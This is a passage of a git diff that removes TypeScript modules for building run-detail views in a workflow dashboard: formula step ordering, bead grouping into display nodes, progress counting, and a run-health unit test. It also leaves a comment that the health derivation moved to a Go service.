-    rootMeta(root, 'gc.run_target') === undefined ||
-    isTerminalRunRootStatus(root.status)
-  ) {
-    return null;
-  }
-  const title = nonEmpty(root.title);
-  if (title === undefined) return null;
-  return mode === 'lane' && !title.startsWith('mol-') ? null : title;
-}
-
-function isTerminalRunRootStatus(status: string): boolean {
-  switch (status.trim().toLowerCase()) {
-    case 'closed':
-    case 'completed':
-    case 'done':
-    case 'failed':
-    case 'skipped':
-      return true;
-    default:
-      return false;
-  }
-}
-
-function runFormulaTarget(root: RunFormulaRootLike | undefined): string | null {
-  return (
-    rootMeta(root, 'gc.run_target') ??
-    rootMeta(root, 'gc.routed_to') ??
-    nonEmpty(root?.assignee) ??
-    null
-  );
-}
-
-function rootMeta(root: RunFormulaRootLike | undefined, key: string): string | undefined {
-  return nonEmpty(root?.metadata?.[key]);
-}
-
-function metadataString(issues: readonly RunFormulaRootLike[], key: string): string | undefined {
-  for (const issue of issues) {
-    const value = rootMeta(issue, key);
-    if (value !== undefined) return value;
-  }
-  return undefined;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/formula-order.ts b/internal/api/dashboardspa/web/shared/src/runs/formula-order.ts
deleted file mode 100644
index 262b4e38c9..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/formula-order.ts
+++ /dev/null
@@ -1,95 +0,0 @@
-import type { FormulaDetail, RunSnapshotBead } from '../run-snapshot.js';
-import { externalizeId, meta, nonEmpty, normalizedStepRef } from './bead-fields.js';
-import type { RunNodeGroup } from './execution-instances.js';
-
-export function orderRunNodeGroups(
-  groups: readonly RunNodeGroup[],
-  formulaDetail: FormulaDetail | undefined,
-  rootBeadId: string,
-): RunNodeGroup[] {
-  const rankByAlias = formulaRankByAlias(formulaDetail);
-  if (rankByAlias.size === 0) return [...groups];
-
-  return groups
-    .map((group, index) => ({
-      group,
-      index,
-      rank:
-        group.semanticNodeId === rootBeadId
-          ? -1
-          : rankForGroup(group, rankByAlias, formulaDetail?.name),
-    }))
-    .sort((left, right) => left.rank - right.rank || left.index - right.index)
-    .map((entry) => entry.group);
-}
-
-function formulaRankByAlias(formulaDetail: FormulaDetail | undefined): Map<string, number> {
-  const steps = formulaDetail?.preview?.nodes ?? formulaDetail?.steps ?? [];
-  const ranks = new Map<string, number>();
-  steps.forEach((step, index) => {
-    for (const alias of formulaStepAliases(step.id, formulaDetail?.name)) {
-      if (!ranks.has(alias)) ranks.set(alias, index);
-    }
-  });
-  return ranks;
-}
-
-function rankForGroup(
-  group: RunNodeGroup,
-  ranks: ReadonlyMap<string, number>,
-  formulaName: string | undefined,
-): number {
-  let rank = Number.POSITIVE_INFINITY;
-  for (const alias of groupAliases(group, formulaName)) {
-    const candidate = ranks.get(alias);
-    if (candidate !== undefined && candidate < rank) rank = candidate;
-  }
-  return rank;
-}
-
-function groupAliases(group: RunNodeGroup, formulaName: string | undefined): string[] {
-  return [
-    group.semanticNodeId,
-    ...group.beads.flatMap((bead) => beadAliases(bead, formulaName)),
-  ].flatMap((alias) => aliasVariants(alias));
-}
-
-function beadAliases(bead: RunSnapshotBead, formulaName: string | undefined): string[] {
-  return [
-    nonEmpty(bead.id),
-    meta(bead, 'gc.logical_bead_id') ?? nonEmpty(bead.logical_bead_id),
-    meta(bead, 'gc.step_id'),
-    normalizedStepRef(bead),
-  ]
-    .filter((value): value is string => value !== undefined)
-    .flatMap((value) => aliasVariants(value, formulaName));
-}
-
-function formulaStepAliases(id: string, formulaName: string | undefined): string[] {
-  return aliasVariants(id, formulaName);
-}
-
-function aliasVariants(value: string, formulaName?: string): string[] {
-  const clean = nonEmpty(value);
-  if (!clean) return [];
-  const stripped = stripFormulaPrefix(clean, formulaName);
-  return unique(
-    [clean, stripped, stripControlSuffix(clean), stripControlSuffix(stripped)].map((candidate) =>
-      externalizeId(candidate),
-    ),
-  );
-}
-
-function stripFormulaPrefix(value: string, formulaName: string | undefined): string {
-  if (!formulaName) return value;
-  const prefix = `${formulaName}.`;
-  return value.startsWith(prefix) ? value.slice(prefix.length) : value;
-}
-
-function stripControlSuffix(value: string): string {
-  return value.replace(/-scope-check$/, '').replace(/\.scope-check$/, '');
-}
-
-function unique(values: string[]): string[] {
-  return [...new Set(values)];
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/formula-run.ts b/internal/api/dashboardspa/web/shared/src/runs/formula-run.ts
deleted file mode 100644
index 924dabf9f3..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/formula-run.ts
+++ /dev/null
@@ -1,289 +0,0 @@
-import type { FormulaDetail, RunSnapshotBead, RunSnapshot } from '../run-snapshot.js';
-import type { DashboardSession } from '../dashboard-sessions.js';
-import type {
-  RunControlBadge,
-  RunDisplayEdge,
-  RunDisplayLane,
-  RunDisplayNode,
-  RunExecutionPath,
-  RunFormula,
-  RunFormulaDetailState,
-  RunNodeStatus,
-  FormulaRunProgress,
-  RunScopeKind,
-  RunSnapshotSequence,
-} from '../run-detail.js';
-import type { RunPhase, RunStage } from '../snapshot/types.js';
-import { mapRunPhase, stageProgress, type RunIssue } from './phaseMapping.js';
-import { meta } from './bead-fields.js';
-import { resolveRunFormulaIdentity } from './formula-name.js';
-import { applyDisplayNodeStates } from './display-state.js';
-import { buildRunDisplayEdges } from './edges.js';
-import {
-  buildRunDisplayNode,
-  latestIterationsByLoop,
-  type RunNodeGroup,
-} from './execution-instances.js';
-import { resolveRunExecutionPath } from './execution-path.js';
-import { orderRunNodeGroups } from './formula-order.js';
-import { groupRunBeads } from './groups.js';
-import { buildRunDisplayLanes } from './lanes.js';
-import {
-  buildRunSessionIndex,
-  type RunSessionIndex,
-  type RunSessionLinkContext,
-} from './session-link.js';
-
-export interface RunningFormulaRunInput {
-  raw: RunSnapshot;
-  runId: string;
-  rootBeadId: string;
-  rootStoreRef: string;
-  resolvedRootStore: string;
-  scopeKind: RunScopeKind;
-  scopeRef: string;
-  root?: RunSnapshotBead;
-  beads: RunSnapshotBead[];
-  rigRoot?: string;
-  sessions?: readonly DashboardSession[];
-  formulaDetail?: FormulaDetail;
-  formulaDetailState?: RunFormulaDetailState;
-}
-
-/**
- * Backend-owned projection of a running graph.v2 formula.
- *
- * The React detail page should render this projection, not infer runtime
- * state from raw run beads or the global sessions list. This is the
- * single aggregation point for supervisor run shape, live bead state,
- * session summaries, loop instances, and display graph state.
- */
-export interface RunningFormulaRun {
-  raw: RunSnapshot;
-  runId: string;
-  rootBeadId: string;
-  rootStoreRef: string;
-  resolvedRootStore: string;
-  scopeKind: RunScopeKind;
-  scopeRef: string;
-  title: string;
-  formula: RunFormula;
-  formulaDetail: RunFormulaDetailState;
-  executionPath: RunExecutionPath;
-  root?: RunSnapshotBead;
-  beads: RunSnapshotBead[];
-  nodeGroups: RunNodeGroup[];
-  physicalToSemantic: Map<string, string>;
-  badgesByTarget: Map<string, RunControlBadge[]>;
-  latestIterationByLoop: Map<string, number>;
-  sessionIndex: RunSessionIndex;
-  sessionContext: RunSessionLinkContext;
-  nodes: RunDisplayNode[];
-  edges: RunDisplayEdge[];
-  lanes: RunDisplayLane[];
-  progress: FormulaRunProgress;
-  phase: RunPhase;
-  stages: RunStage[];
-}
-
-export function buildRunningFormulaRun(input: RunningFormulaRunInput): RunningFormulaRun {
-  const {
-    groups: unorderedGroups,
-    physicalToSemantic,
-    badgesByTarget,
-  } = groupRunBeads(input.beads, input.rootBeadId);
-  const groups = orderRunNodeGroups(unorderedGroups, input.formulaDetail, input.rootBeadId);
-  // Prefer supervisor-owned compiled formula order when available. If a run
-  // does not expose a formula name yet, preserve snapshot order rather than
-  // reading formula files locally.
-  const latestIterationByLoop = latestIterationsByLoop(groups);
-  const sessionIndex = buildRunSessionIndex(input.sessions ?? []);
-  const sessionContext = {
-    sessionIndex,
-    scopeRef: input.scopeRef,
-  };
-  const rawNodes = groups.map((group) =>
-    buildRunDisplayNode(
-      group,
-      badgesByTarget.get(group.semanticNodeId) ?? [],
-      latestIterationByLoop.get(group.loopControlNodeId ?? ''),
-      sessionContext,
-    ),
-  );
-  const edges = buildRunDisplayEdges(input.raw, physicalToSemantic, rawNodes);
-  const nodes = applyDisplayNodeStates(rawNodes, edges);
-  const progress = buildFormulaRunProgress(input.raw, nodes, edges);
-  const formula = runFormulaState(input.root, input.formulaDetail);
-  const formulaDetail =
-    input.formulaDetailState ?? runFormulaDetailState(input.root, input.formulaDetail);
-  const executionPath = resolveRunExecutionPath(input.root, input.beads, input.rigRoot);
-
-  // gascity-dashboard-ud6j: compute the dashboard phase ladder from this
-  // run's OWN beads through the SAME fromDashboardBead → mapRunPhase → stageProgress
-  // pipeline the snapshot lane uses, so the run-detail ladder cannot drift
-  // from the lane's. mapRunPhase keys off bead status + title, which run
-  // beads carry. The resolved formula name (when known) selects the
-  // formula-specific stage set; otherwise the generic 5-stage ladder applies.
-  const issues = input.beads.map(fromRunSnapshotBead);
-  const phaseMapping = mapRunPhase(issues);
-  const formulaName = formula.kind === 'known' ? formula.name : null;
-  const stages = stageProgress(phaseMapping, formulaName, issues);
-
-  const run: RunningFormulaRun = {
-    raw: input.raw,
-    runId: input.runId,
-    rootBeadId: input.rootBeadId,
-    rootStoreRef: input.rootStoreRef,
-    resolvedRootStore: input.resolvedRootStore,
-    scopeKind: input.scopeKind,
-    scopeRef: input.scopeRef,
-    title: input.root?.title.trim() || input.runId,
-    formula,
-    formulaDetail,
-    executionPath,
-    beads: input.beads,
-    nodeGroups: groups,
-    physicalToSemantic,
-    badgesByTarget,
-    latestIterationByLoop,
-    sessionIndex,
-    sessionContext,
-    nodes,
-    edges,
-    lanes: buildRunDisplayLanes(nodes),
-    progress,
-    phase: phaseMapping.phase,
-    stages,
-  };
-  if (input.root !== undefined) run.root = input.root;
-  return run;
-}
-
-/**
- * Adapt a supervisor run-snapshot bead to the phase classifier's
- * RunIssue input. The phase pipeline's own fromDashboardBead adapter consumes the
- * city-wide DashboardBead shape (issue_type, created_at); the run-snapshot wire row
- * is a different shape (kind, no created_at). mapRunPhase only reads
- * status / title / metadata / issue_type / parent, so this maps the run-bead
- * `kind` onto `issue_type` and leaves updated_at empty (the snapshot carries
- * no per-bead timestamp — latestStepId's ordering degrades gracefully to
- * input order, which the phase classifier does not depend on).
- */
-function fromRunSnapshotBead(bead: RunSnapshotBead): RunIssue {
-  const parent = meta(bead, 'gc.parent_bead_id');
-  const issue: RunIssue = {
-    id: bead.id,
-    title: bead.title,
-    status: bead.status,
-    issue_type: bead.kind,
-    updated_at: '',
-    metadata: bead.metadata,
-  };
-  if (bead.assignee !== undefined) issue.assignee = bead.assignee;
-  if (parent !== undefined) issue.parent = parent;
-  return issue;
-}
-
-function runFormulaState(
-  root: RunSnapshotBead | undefined,
-  formulaDetail: FormulaDetail | undefined,
-): RunFormula {
-  // Provenance precedence (gascity-dashboard-e7hj + sadp). The supervisor's
-  // canonical signals win over the graph.v2 bead-title heuristic; the title
-  // fallback only fires when none of them are present:
-  //   1. `gc.formula` / `gc.formula_name` metadata   → source: 'metadata'
-  //   2. supervisor formula detail name               → source: 'metadata'
-  //      (canonical even when the root metadata key is absent)
-  //   3. graph.v2 title fallback (resolveRunFormulaIdentity) → 'title_fallback'
-  // The title fallback shares the mode-aware identity resolver with the
-  // route-side formula-detail fetch (routes/runs.ts) so both agree on which
-  // graph.v2 roots get a title-derived name. See gascity-dashboard-sadp.
-  const resolved = resolveRunFormulaIdentity('state', { root, formulaDetail });
-  if (resolved.name !== null) {
-    const source = resolved.source === 'title_fallback' ? 'title_fallback' : 'metadata';
-    return {
-      kind: 'known',
-      name: resolved.name,
-      source,
-    };
-  }
-  return {
-    kind: 'unavailable',
-    reason: 'missing_formula_metadata',
-  };
-}
-
-function runFormulaDetailState(
-  root: RunSnapshotBead | undefined,
-  formulaDetail: FormulaDetail | undefined,
-): RunFormulaDetailState {
-  const resolved = resolveRunFormulaIdentity('detail', { root, formulaDetail });
-  const name = resolved.name;
-  if (name === null) return { kind: 'unavailable', reason: 'missing_formula_metadata' };
-  const target = resolved.target;
-  if (!target) return { kind: 'unavailable', reason: 'missing_run_target', name };
-  if (formulaDetail !== undefined) return { kind: 'available', name, target };
-  return {
-    kind: 'unavailable',
-    reason: 'fetch_failed',
-    name,
-    target,
-    failure: 'upstream_error',
-  };
-}
-
-function buildFormulaRunProgress(
-  raw: RunSnapshot,
-  nodes: readonly RunDisplayNode[],
-  edges: readonly RunDisplayEdge[],
-): FormulaRunProgress {
-  const visibleNodes = nodes.filter((node) => node.visibleInGraph);
-  const streamableSessionIds = new Set<string>();
-  let executionInstanceCount = 0;
-  let sessionLinkCount = 0;
-  let streamableSessionCount = 0;
-
-  for (const node of nodes) {
-    for (const instance of node.executionInstances) {
-      executionInstanceCount += 1;
-      if (instance.session.kind === 'attached') {
-        sessionLinkCount += 1;
-      }
-      if (instance.session.kind === 'attached' && instance.session.streamable) {
-        streamableSessionCount += 1;
-        streamableSessionIds.add(instance.session.link.sessionId);
-      }
-    }
-  }
-
-  return {
-    snapshotVersion: raw.snapshot_version,
-    snapshotEventSeq: runSnapshotSequence(raw.snapshot_event_seq),
-    snapshotPartial: raw.partial,
-    totalNodeCount: nodes.length,
-    visibleNodeCount: visibleNodes.length,
-    edgeCount: edges.length,
-    executionInstanceCount,
-    sessionLinkCount,
-    streamableSessionCount,
-    streamableSessionIds: [...streamableSessionIds],
-    statusCounts: countNodeStatuses(visibleNodes),
-    allStatusCounts: countNodeStatuses(nodes),
-  };
-}
-
-function runSnapshotSequence(raw: number | null | undefined): RunSnapshotSequence {
-  return typeof raw === 'number'
-    ? { kind: 'known', seq: raw }
-    : { kind: 'unavailable', reason: 'supervisor_omitted' };
-}
-
-function countNodeStatuses(
-  nodes: readonly RunDisplayNode[],
-): Partial<Record<RunNodeStatus, number>> {
-  const counts: Partial<Record<RunNodeStatus, number>> = {};
-  for (const node of nodes) {
-    counts[node.status] = (counts[node.status] ?? 0) + 1;
-  }
-  return counts;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/groups.ts b/internal/api/dashboardspa/web/shared/src/runs/groups.ts
deleted file mode 100644
index 8b2857b825..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/groups.ts
+++ /dev/null
@@ -1,359 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-import type { RunControlBadge } from '../run-detail.js';
-import { externalizeId, meta, nonEmpty, normalizedStepRef } from './bead-fields.js';
-import type { RunNodeGroup } from './execution-instances.js';
-import {
-  badgeLabelFor,
-  constructKindFor,
-  displayTitleFor,
-  externalKindFor,
-  hiddenBadgeTargetFor,
-  isHiddenConstruct,
-  loopControlNodeIdFor,
-  semanticNodeIdFor,
-} from './node-shape.js';
-import { presentationStatus } from './status.js';
-
-export interface RunBeadGroups {
-  groups: RunNodeGroup[];
-  physicalToSemantic: Map<string, string>;
-  badgesByTarget: Map<string, RunControlBadge[]>;
-}
-
-interface BeadIdentity {
-  base: string;
-  disambiguator: string | undefined;
-  semanticNodeId: string;
-}
-
-export function groupRunBeads(beads: RunSnapshotBead[], rootBeadId: string): RunBeadGroups {
-  const groupedBeads = new Map<string, RunSnapshotBead[]>();
-  const physicalToSemantic = new Map<string, string>();
-  const badgesByTarget = new Map<string, RunControlBadge[]>();
-  const physicalLogicalTargets = referencedPhysicalLogicalTargets(beads);
-  const identities = resolveBeadIdentities(beads, rootBeadId, physicalLogicalTargets);
-  const badgeTargetAliases = buildBadgeTargetAliases(
-    beads,
-    rootBeadId,
-    identities,
-    physicalLogicalTargets,
-  );
-
-  for (const bead of beads) {
-    const beadId = nonEmpty(bead.id) ?? '';
-    const constructKind = constructKindFor(bead, rootBeadId);
-    const semanticNodeId =
-      identities.get(bead)?.semanticNodeId ?? semanticNodeIdFor(bead, rootBeadId);
-    physicalToSemantic.set(beadId, semanticNodeId);
-
-    if (isHiddenConstruct(constructKind)) {
-      const target = hiddenBadgeTargetFor(bead, rootBeadId);
-      const resolvedTarget = resolveBadgeTarget(bead, rootBeadId, badgeTargetAliases, target);
-      if (resolvedTarget) {
-        const badges = badgesByTarget.get(resolvedTarget) ?? [];
-        badges.push({
-          id: beadId || `${resolvedTarget}-${constructKind}`,
-          label: badgeLabelFor(constructKind),
-          status: presentationStatus(bead),
-        });
-        badgesByTarget.set(resolvedTarget, badges);
-      }
-      continue;
-    }
-
-    const group = groupedBeads.get(semanticNodeId) ?? [];
-    group.push(bead);
-    groupedBeads.set(semanticNodeId, group);
-  }
-
-  return {
-    groups: [...groupedBeads].map(([semanticNodeId, groupBeads]) =>
-      buildRunNodeGroup(semanticNodeId, groupBeads, rootBeadId),
-    ),
-    physicalToSemantic,
-    badgesByTarget,
-  };
-}
-
-function buildRunNodeGroup(
-  semanticNodeId: string,
-  beads: RunSnapshotBead[],
-  rootBeadId: string,
-): RunNodeGroup {
-  const shapeBead = preferredShapeBead(beads, rootBeadId);
-  const constructKind = constructKindFor(shapeBead, rootBeadId);
-  const scopeRef = groupOptional(
-    beads,
-    shapeBead,
-    (bead) => meta(bead, 'gc.scope_ref') ?? nonEmpty(bead.scope_ref),
-  );
-  const loopControlNodeId = groupOptional(beads, shapeBead, loopControlNodeIdFor);
-
-  return {
-    semanticNodeId,
-    title: displayTitleFor(shapeBead, semanticNodeId),
-    kind: externalKindFor(shapeBead, constructKind),
-    constructKind,
-    beads,
-    ...(scopeRef !== undefined ? { scopeRef } : {}),
-    ...(loopControlNodeId !== undefined ? { loopControlNodeId } : {}),
-  };
-}
-
-function preferredShapeBead(
-  beads: readonly RunSnapshotBead[],
-  rootBeadId: string,
-): RunSnapshotBead {
-  const [first] = [...beads].sort((left, right) => {
-    const priorityDiff =
-      constructPriority(constructKindFor(right, rootBeadId)) -
-      constructPriority(constructKindFor(left, rootBeadId));
-    if (priorityDiff !== 0) return priorityDiff;
-    return beadSortKey(left).localeCompare(beadSortKey(right));
-  });
-  if (!first) throw new Error('cannot build run node group from zero beads');
-  return first;
-}
-
-function groupOptional(
-  beads: readonly RunSnapshotBead[],
-  shapeBead: RunSnapshotBead,
-  resolve: (bead: RunSnapshotBead) => string | undefined,
-): string | undefined {
-  return resolve(shapeBead) ?? sortedBeads(beads).map(resolve).find(isDefined);
-}
-
-function constructPriority(kind: RunNodeGroup['constructKind']): number {
-  switch (kind) {
-    case 'run-root':
-      return 100;
-    case 'check-loop':
-      return 90;
-    case 'retry':
-      return 80;
-    case 'condition':
-    case 'fanout':
-    case 'scope':
-    case 'expansion':
-      return 70;
-    case 'step':
-      return 10;
-    case 'control':
-    case 'run-finalize':
-    case 'scope-check':
-    case 'spec':
-    case 'unknown':
-      return 0;
-  }
-}
-
-function sortedBeads(beads: readonly RunSnapshotBead[]): RunSnapshotBead[] {
-  return [...beads].sort((left, right) => beadSortKey(left).localeCompare(beadSortKey(right)));
-}
-
-function beadSortKey(bead: RunSnapshotBead): string {
-  return [nonEmpty(bead.id), normalizedStepRef(bead), nonEmpty(bead.title)]
-    .filter(isDefined)
-    .join('\u0000');
-}
-
-function resolveBeadIdentities(
-  beads: readonly RunSnapshotBead[],
-  rootBeadId: string,
-  physicalLogicalTargets: ReadonlySet<string>,
-): Map<RunSnapshotBead, BeadIdentity> {
-  const partialIdentities = new Map<RunSnapshotBead, Omit<BeadIdentity, 'semanticNodeId'>>();
-  const identitiesByBase = new Map<string, Set<string>>();
-
-  for (const bead of beads) {
-    const constructKind = constructKindFor(bead, rootBeadId);
-    if (isHiddenConstruct(constructKind)) continue;
-    const base = groupingBaseSemanticId(bead, rootBeadId, physicalLogicalTargets);
-    const disambiguator = duplicateResolutionIdentity(
-      bead,
-      rootBeadId,
-      base,
-      physicalLogicalTargets,
-    );
-    partialIdentities.set(bead, { base, disambiguator });
-    const identity = disambiguator ?? base;
-    const identities = identitiesByBase.get(base) ?? new Set<string>();
-    identities.add(identity);
-    identitiesByBase.set(base, identities);
-  }
-
-  const resolved = new Map<RunSnapshotBead, BeadIdentity>();
-  for (const bead of beads) {
-    const partial = partialIdentities.get(bead) ?? {
-      base: semanticNodeIdFor(bead, rootBeadId),
-      disambiguator: undefined,
-    };
-    const identities = identitiesByBase.get(partial.base);
-    const semanticNodeId =
-      identities && identities.size > 1 && partial.disambiguator
-        ? partial.disambiguator
-        : partial.base;
-    resolved.set(bead, { ...partial, semanticNodeId });
-  }
-  return resolved;
-}
-
-function groupingBaseSemanticId(
-  bead: RunSnapshotBead,
-  rootBeadId: string,
-  physicalLogicalTargets: ReadonlySet<string>,
-): string {
-  const beadId = nonEmpty(bead.id);
-  if (beadId && beadId === rootBeadId) return rootBeadId;
-  const explicit = meta(bead, 'gc.logical_bead_id') ?? nonEmpty(bead.logical_bead_id);
-  if (explicit) return externalizeId(explicit);
-  const constructKind = constructKindFor(bead, rootBeadId);
-  if (
-    (constructKind === 'check-loop' || constructKind === 'retry') &&
-    beadId &&
-    physicalLogicalTargets.has(beadId)
-  ) {
-    return externalizeId(beadId);
-  }
-  return semanticNodeIdFor(bead, rootBeadId);
-}
-
-function duplicateResolutionIdentity(
-  bead: RunSnapshotBead,
-  rootBeadId: string,
-  base: string,
-  physicalLogicalTargets: ReadonlySet<string>,
-): string | undefined {
-  const beadId = nonEmpty(bead.id);
-  if (beadId && physicalLogicalTargets.has(beadId) && externalizeId(beadId) === base) {
-    return base;
-  }
-  return stableSemanticIdentity(bead, rootBeadId);
-}
-
-function buildBadgeTargetAliases(
-  beads: readonly RunSnapshotBead[],
-  rootBeadId: string,
-  identities: Map<RunSnapshotBead, BeadIdentity>,
-  physicalLogicalTargets: ReadonlySet<string>,
-): Map<string, string> {
-  const candidates = new Map<string, Set<string>>();
-
-  for (const bead of beads) {
-    const constructKind = constructKindFor(bead, rootBeadId);
-    if (isHiddenConstruct(constructKind)) continue;
-    const identity = identities.get(bead);
-    const resolved = identity?.semanticNodeId ?? semanticNodeIdFor(bead, rootBeadId);
-    for (const alias of visibleNodeAliases(
-      bead,
-      rootBeadId,
-      resolved,
-      identity,
-      physicalLogicalTargets,
-    )) {
-      const existing = candidates.get(alias) ?? new Set<string>();
-      existing.add(resolved);
-      candidates.set(alias, existing);
-    }
-  }
-
-  const aliases = new Map<string, string>();
-  for (const [alias, targets] of candidates) {
-    if (targets.size === 1) {
-      const [target] = [...targets];
-      if (target) aliases.set(alias, target);
-    }
-  }
-  return aliases;
-}
-
-function visibleNodeAliases(
-  bead: RunSnapshotBead,
-  rootBeadId: string,
-  resolved: string,
-  identity: BeadIdentity | undefined,
-  physicalLogicalTargets: ReadonlySet<string>,
-): string[] {
-  return [
-    resolved,
-    semanticNodeIdFor(bead, rootBeadId),
-    identity?.base ?? groupingBaseSemanticId(bead, rootBeadId, physicalLogicalTargets),
-    identity?.disambiguator,
-    stableSemanticIdentity(bead, rootBeadId),
-    meta(bead, 'gc.step_id'),
-    fullStepRefIdentity(normalizedStepRef(bead)),
-    nonEmpty(bead.id),
-  ]
-    .filter((value): value is string => value !== undefined)
-    .map((value) => externalizeId(value));
-}
-
-function isDefined<T>(value: T | undefined): value is T {
-  return value !== undefined;
-}
-
-function referencedPhysicalLogicalTargets(beads: readonly RunSnapshotBead[]): Set<string> {
-  const beadIds = new Set(
-    beads.map((bead) => nonEmpty(bead.id)).filter((value): value is string => value !== undefined),
-  );
-  const targets = new Set<string>();
-  for (const bead of beads) {
-    const logical = meta(bead, 'gc.logical_bead_id') ?? nonEmpty(bead.logical_bead_id);
-    if (logical && beadIds.has(logical)) targets.add(logical);
-  }
-  return targets;
-}
-
-function resolveBadgeTarget(
-  bead: RunSnapshotBead,
-  rootBeadId: string,
-  aliases: Map<string, string>,
-  fallback: string | null,
-): string | null {
-  if (constructKindFor(bead, rootBeadId) === 'run-finalize') return rootBeadId;
-  for (const candidate of hiddenBadgeTargetCandidates(bead, fallback)) {
-    const target = aliases.get(candidate);
-    if (target) return target;
-  }
-  return fallback;
-}
-
-function hiddenBadgeTargetCandidates(bead: RunSnapshotBead, fallback: string | null): string[] {
-  return [meta(bead, 'gc.control_for'), hiddenBadgeFullTargetFor(bead), fallback ?? undefined]
-    .filter((value): value is string => value !== undefined)
-    .flatMap((value) => {
-      const stripped = stripControlSuffix(value);
-      return [value, stripped, externalizeId(stripped)];
-    })
-    .map((value) => externalizeId(value));
-}
-
-function stableSemanticIdentity(bead: RunSnapshotBead, rootBeadId: string): string | undefined {
-  const beadId = nonEmpty(bead.id);
-  if (beadId && beadId === rootBeadId) return rootBeadId;
-  const explicit = meta(bead, 'gc.logical_bead_id') ?? nonEmpty(bead.logical_bead_id);
-  if (explicit) return externalizeId(explicit);
-  const stepId = meta(bead, 'gc.step_id');
-  if (stepId) return externalizeId(stepId);
-  return fullStepRefIdentity(normalizedStepRef(bead));
-}
-
-function hiddenBadgeFullTargetFor(bead: RunSnapshotBead): string | undefined {
-  const controlFor = meta(bead, 'gc.control_for');
-  if (controlFor) return externalizeId(stripControlSuffix(controlFor));
-  return fullStepRefIdentity(stripControlSuffix(normalizedStepRef(bead) ?? ''));
-}
-
-function fullStepRefIdentity(ref: string | null | undefined): string | undefined {
-  const clean = nonEmpty(ref);
-  if (!clean) return undefined;
-  const stripped = stripControlSuffix(clean);
-  const parts = stripped.split('.').filter(Boolean);
-  if (parts.length === 0) return undefined;
-  if (parts.length === 1) return externalizeId(parts[0] ?? stripped);
-  return externalizeId(parts.slice(1).join('.'));
-}
-
-function stripControlSuffix(ref: string): string {
-  return ref.replace(/-scope-check$/, '').replace(/\.scope-check$/, '');
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/health.test.ts b/internal/api/dashboardspa/web/shared/src/runs/health.test.ts
deleted file mode 100644
index 76737bea01..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/health.test.ts
+++ /dev/null
@@ -1,60 +0,0 @@
-import { test, describe } from 'node:test';
-import assert from 'node:assert/strict';
-
-import { deriveRunHealth } from './health.js';
-import type { RunLane } from '../snapshot/types.js';
-
-// gascity-dashboard (0gww): the run-lane health-unavailable attention emitter
-// guards on `lane.health.status === 'available'`. deriveRunHealth used to wrap
-// EVERY lane in status:'available' — even when the session list was unavailable
-// and health could not actually be derived — so the guard always continued and
-// the emitter was structurally dead. These tests pin the contract that drives
-// the emitter: no session list ⇒ health.status === 'unavailable'.
-
-function lane(overrides: Partial<RunLane> = {}): RunLane {
-  return {
-    id: 'run-1',
-    title: 'a run',
-    formula: { status: 'known', name: 'mol-test' },
-    scope: { status: 'available', kind: 'rig', ref: 'app', rootStoreRef: 'rig:app' },
-    external: { status: 'unavailable', error: 'external reference unavailable' },
-    phase: 'implementation',
-    phaseLabel: 'implementation',
-    statusCounts: { in_progress: 1 },
-    activeAssignees: ['app/codex'],
-    updatedAt: { status: 'available', at: '2026-06-08T00:00:00.000Z' },
-    stages: [],
-    progress: { status: 'unavailable', error: 'run progress unavailable' },
-    formulaStageResolved: false,
-    health: { status: 'unavailable', error: 'run health has not been derived' },
-    ...overrides,
-  };
-}
-
-describe('deriveRunHealth — session-list unavailability (0gww)', () => {
-  test('reports health.status unavailable for every lane when the session list is unavailable', () => {
-    const { lanes } = deriveRunHealth({
-      lanes: [lane({ id: 'run-a' }), lane({ id: 'run-b' })],
-      sessions: [],
-      sessionsAvailable: false,
-      marks: new Map(),
-    });
-
-    for (const enriched of lanes) {
-      assert.equal(enriched.health.status, 'unavailable');
-      if (enriched.health.status !== 'unavailable') continue;
-      assert.equal(enriched.health.error, 'run session list unavailable');
-    }
-  });
-
-  test('still derives available health when the session list is available', () => {
-    const { lanes } = deriveRunHealth({
-      lanes: [lane()],
-      sessions: [],
-      sessionsAvailable: true,
-      marks: new Map(),
-    });
-
-    assert.equal(lanes[0]?.health.status, 'available');
-  });
-});
diff --git a/internal/api/dashboardspa/web/shared/src/runs/health.ts b/internal/api/dashboardspa/web/shared/src/runs/health.ts
index f7de20a327..32f777abd0 100644
--- a/internal/api/dashboardspa/web/shared/src/runs/health.ts
+++ b/internal/api/dashboardspa/web/shared/src/runs/health.ts
@@ -1,49 +1,10 @@
-import { resolveSessionForTarget } from '../session-resolve.js';
-import type { DashboardSession } from '../dashboard-sessions.js';
-import type { RunCensus, RunLane, RunLaneHealth, RunPhase } from '../snapshot/types.js';
+import type { RunLane } from '../snapshot/types.js';
 
-const DEFAULT_ATTEMPT_CLIMB_MIN = 1;
-const DEFAULT_THRASH_DETECTED_STREAK = 2;
-
-export interface HealthThresholds {
-  attemptClimbMin: number;
-  thrashDetectedStreak: number;
-}
-
-const DEFAULT_THRESHOLDS: HealthThresholds = {
-  attemptClimbMin: DEFAULT_ATTEMPT_CLIMB_MIN,
-  thrashDetectedStreak: DEFAULT_THRASH_DETECTED_STREAK,
-};
-
-export interface LaneProgressMark {
-  progress: LaneProgressComparison;
-  thrashStreak: number;
-}
-
-export type LaneProgressComparison =
-  | {
-      status: 'comparable';
-      stepId: string;
-      stageIndex: number;
-      attempt: number;
-    }
-  | {
-      status: 'not_comparable';
-      error: string;
-    };
-
-export interface DeriveRunHealthInput {
-  lanes: readonly RunLane[];
-  sessions: readonly DashboardSession[];
-  sessionsAvailable: boolean;
-  marks: ReadonlyMap<string, LaneProgressMark>;
-  thresholds?: Partial<HealthThresholds>;
-}
-
-export interface DeriveRunHealthResult {
-  lanes: RunLane[];
-  census: RunCensus;
-}
+// The run-health derivation (deriveRunHealth / buildCensus / advanceProgressMarks)
+// moved to Go (internal/runproj); the dashboard reads health and census off the
+// server-computed RunSummary DTO. This pure accessor is the one piece that stays
+// client-side, because the attention layer (AmbientHome, StatusSentence) reads
+// it during a session-list outage when per-lane health degrades to unavailable.
 
 /**
  * Structural needs-operator signal for a lane: true when the lane's phase is a
@@ -58,167 +19,3 @@ export interface DeriveRunHealthResult {
 export function laneNeedsOperator(lane: RunLane): boolean {
